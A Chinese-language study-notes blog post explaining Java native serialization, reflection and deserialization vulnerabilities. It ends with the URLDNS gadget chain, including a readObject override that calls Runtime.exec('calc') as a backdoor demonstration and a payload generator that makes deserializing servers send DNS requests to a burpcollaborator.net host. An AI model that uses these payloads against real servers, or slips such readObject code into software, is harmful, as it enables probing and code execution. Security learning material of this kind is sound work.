前言:最近開始學習java的序列化與反序列化,現在從原生的序列化與反序列化開始,小小的記錄一下
參考文章:https://blog.csdn.net/mocas_wang/article/details/107621010
01.什麼是序列化與反序列化
其實java的序列化說白了就是將一個物件轉換成位元組的過程,那麼同理,java的反序列化也就是將一個位元組轉換會一個物件的過程,這樣的操作會使得物件在不同的機器之間進行傳遞變得簡單,我們在一臺機器上將某個物件序列化之後那麼只需要傳遞序列化之後的位元組給另外一臺機器,那麼另外一臺機器只需要進行對應的反序列操作就可以獲得傳遞過來的物件。
下面來演示一下使用io流自帶的介面進行序列化與反序列化:
1.首先定義一個Person類用於序列化的操作
1 import java.io.Serializable; 2 //必須繼承Serializable介面才可被序列化 3 public class Person implements Serializable { 4 private String name; 5 private int age; 6 7 public Person(String name, int age) { 8 this.name = name; 9 this.age = age; 10 } 11 12 public Person() { 13 } 14 15 @Override 16 public String toString() { 17 return "Person{" + 18 "name='" + name + '\'' + 19 ", age=" + age + 20 '}'; 21 } 22 }
2.正常情況下,我們透過以下程式碼進行例項化,然後列印出這個物件,應該會得到以下的結果
1 public static void main(String[] args) { 2 Person person = new Person("aa",22); 3 System.out.println(person); 4 }
3.那麼現在我們用以下程式碼來對這個物件進行序列化,可以看到,物件的資訊會被序列化的寫入ser.bin檔案中
1 public static void serialize(Object obj) throws IOException{ 2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); 3 oos.writeObject(obj); 4 }
4.那麼接下來我們只要在另外一個類中,實現反序列化的程式碼,就可以很輕鬆的獲取到原來想要傳遞的物件
1 import java.io.FileInputStream; 2 import java.io.FileNotFoundException; 3 import java.io.IOException; 4 import java.io.ObjectInputStream; 5 6 public class UnserializeTest { 7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { 8 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); 9 Object obj = ois.readObject(); 10 return obj; 11 } 12 13 public static void main(String[] args) throws IOException, ClassNotFoundException { 14 Person person = (Person)unserialize("ser.bin"); 15 System.out.println(person); 16 } 17 }
tips:
- 必須實現Serializable介面的類才可被序列化
- 靜態成員變數是不能被序列化的,因為靜態成員變數是屬於類中的,而不是屬於被例項化物件
- transient標識的物件成員變數是不可以被序列化的
那麼為什麼會產生安全問題呢?
只要服務端反序列化了資料,客戶端傳遞類的readObject中的程式碼就會自動執行,給予攻擊者在伺服器上執行程式碼的能力
如何利用?
首先,我們需要找到一個入口類,這個類需要重寫了readObject,同時最好重寫了一個常見的函式這樣我們可以進一步的去找呼叫鏈,最後我們需要去找到一個執行類(rce,ssrf,寫檔案等等)
1.我們知道,在反序列化的過程中,會呼叫ObjectInputStream中的readObject方面,那麼如果我們在類中就重寫了這個方法,反序列化時呼叫的這個方法是不是就會呼叫我們重寫的方法,這時候只需要把後門程式碼放在裡面,就可以達到攻擊的目的。重寫程式碼如下:
1 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { 2 ois.defaultReadObject(); 3 Runtime.getRuntime().exec("calc"); 4 }
2.如果入口類引數中包含可控類,該類有危險方法,readObject時就可以去呼叫,比方說Map,他可以是Map<Object,Object>這種型別,同時Map又繼承了Serializable介面,那麼就會可以被利用
3.入口類引數中包含可控類,該類又呼叫了其他有危險方法的類,就可以在readObject時去呼叫
Java反射機制
通常,我們在利用反序列化漏洞的時候會運用到java的反射機制,下面這篇文章很好的講述了java的反射機制
參考文章:https://blog.csdn.net/weiwenhou/article/details/103650422
總結一下:
- 反射的作用:讓java具有動態性
- 修改已有物件的屬性
- 動態的生成物件
- 動態的呼叫方法
- 操作內部類和私有方法
在反序列化漏洞中的應用:
- 定製需要的物件
- 透過invoke呼叫除了同名函式以外的函式
- 透過Class類建立物件,引入不能序列化的類
簡單使用
1 import java.lang.reflect.Constructor; 2 import java.lang.reflect.Field; 3 import java.lang.reflect.Method; 4 5 public class ReflectionTest { 6 public static void main(String[] args) throws Exception { 7 Person person = new Person(); 8 Class c = person.getClass(); 9 //反射就是操作Class 10 11 //從原型class裡面例項化物件 12 //c.newInstance(); 無參,無法使用 13 Constructor personconstructor = c.getConstructor(String.class,int.class); 14 Person p = (Person) personconstructor.newInstance("abc",22); 15 System.out.println(p); 16 //獲取類裡面的屬性 17 //c.getFields();只能列印public的屬性 18 //c.getDeclaredFields()都可以列印 19 Field[] personfields = c.getDeclaredFields(); 20 for (Field f:personfields){ 21 System.out.println(f); 22 } 23 //獲取單個 24 Field namefield = c.getField("name"); 25 namefield.set(p,"testedit");//需要一個示例 26 System.out.println(p); 27 //修改私有變數 28 Field agefield = c.getDeclaredField("age"); 29 agefield.setAccessible(true);//允許訪問私有變數 30 agefield.set(p,33); 31 System.out.println(p); 32 //呼叫類裡面的方法 33 Method[] personMethods = c.getDeclaredMethods(); 34 for(Method m:personMethods){ 35 System.out.println(m); 36 } 37 //獲取單個方法 38 Method actionmethod = c.getMethod("action",String.class); 39 actionmethod.invoke(p,"testaction");//呼叫觸發 40 } 41 }
URL-DNS鏈
首先,我們想要利用URL-DNS鏈,我們可以先來看一下URL類中是否存在readObject方法,但是我們可以很明顯的發現,URL類中的該方法,沒有呼叫危險函式,那麼是不是就不能夠利用了呢?
其實,在URL類中,存在一個hashcode函式,這個函式會發起DNS請求,那麼我們該怎麼操作可以使得在反序列化時讓他呼叫這個函式呢,我們可以透過利用hashMap中的hash方法,hashMap在反序列化時會呼叫readObject方法,該方法的Key值會呼叫Key.hashcode方法,那麼只要將URL類作為hashMap的key,我們就可以成功利用,但是實際上,我們需要利用java的反射機制,對某些引數進行修改,因為在put的過程中,如果hashcode的值為-1那麼也會呼叫hashcode方法,那麼我們就無法分辨,到底是在哪個緩解出發了反序列化漏洞,具體的利用程式碼如下。
1 import java.io.FileOutputStream; 2 import java.io.IOException; 3 import java.io.ObjectOutputStream; 4 import java.lang.reflect.Field; 5 import java.net.URL; 6 import java.util.HashMap; 7 8 public class SerializationTest { 9 public static void serialize(Object obj) throws Exception{ 10 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); 11 oos.writeObject(obj); 12 } 13 14 public static void main(String[] args) throws Exception { 15 // Person person = new Person("aa",22); 16 // System.out.println(person); 17 // serialize(person); 18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); 19 //一開始不能發起請求 //把url物件的hashcode改成不是-1 20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net"); 21 Class c = url.getClass(); 22 Field hashcode = c.getDeclaredField("hashCode"); 23 hashcode.setAccessible(true); 24 hashcode.set(url,1); 25 hashMap.put(url,1); 26 //現在可以把hashcode給改回來 27 hashcode.set(url,-1); 28 serialize(hashMap); 29 } 30 }